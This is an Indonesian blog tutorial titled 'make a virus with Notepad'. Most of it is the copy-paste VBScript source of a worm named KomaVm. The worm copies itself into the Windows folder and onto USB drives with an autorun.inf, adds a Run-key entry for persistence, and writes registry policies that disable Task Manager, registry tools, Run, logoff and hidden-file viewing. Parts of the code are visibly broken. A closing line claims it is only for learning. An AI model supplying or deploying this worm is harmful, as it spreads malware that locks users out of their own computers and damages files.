Wednesday, 2 May 2012
Buat Virus Dengan Notepad
Labels:
Komputer
Langsung aja virus yang saya buat adalah virus komaVm dan efek dari virus ini gak bahaya hanya
membuat file baru berbentuk (*.exe dan *.bat) dan apabila di execute
maka virus tersebut langsung masuk ke system32 dan menginfeksi file-file
.exe, .bat dan fungsi dari autorun yang tercantum dalam source
code tersebut adalah apabila flash disk masuk ke kompi maka dalam
hitungan detik akan langsung menyusup kesaja.Apabila anda ingin mencoba virus ini di kompi anda sebaiknya anda memakai deep Frezee agar system anda tidak crash/down…
gini caranya:,,,,,
Copy-paste aja coding di bawah ini dan save di notepad dengan nama misal:
virus_gw.dll.vbs
------------------------------------------------------------------------
on error resume next
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe KomaVm.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- KomaVm.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- KomaVm.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- KomaVm.dll.vbs “)
tf.attributes = 39
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\KomaVm.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\KomaVm.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\KomaVm.dll.vbs “)
tf.attributes = 39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set kalong = createobject(”WScript.Shell”)
kalong.Regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” Virus KomaVm ada di komputer anda hahaha... “
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1", “REG_DWORD”
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, “1", “REG_DWORD”
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1", “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1", “REG_DWORD”
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Virus Worm KomaVm telah menginfeksi Komputer Anda Jangan Panik!!!, Backup Data Penting Anda Sekarang...hahaha....”
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- KomaVm.dll.vbs “
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Made in anak Indonesia”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”KomaVm”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
------------------------------------------------------------------------
Catatan:
*Tutorial ini hanya untuk pembelajaran semata lho. saya tidak bertanggung jawab atas semua kerusakan pada komputer anda hehehehe*
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment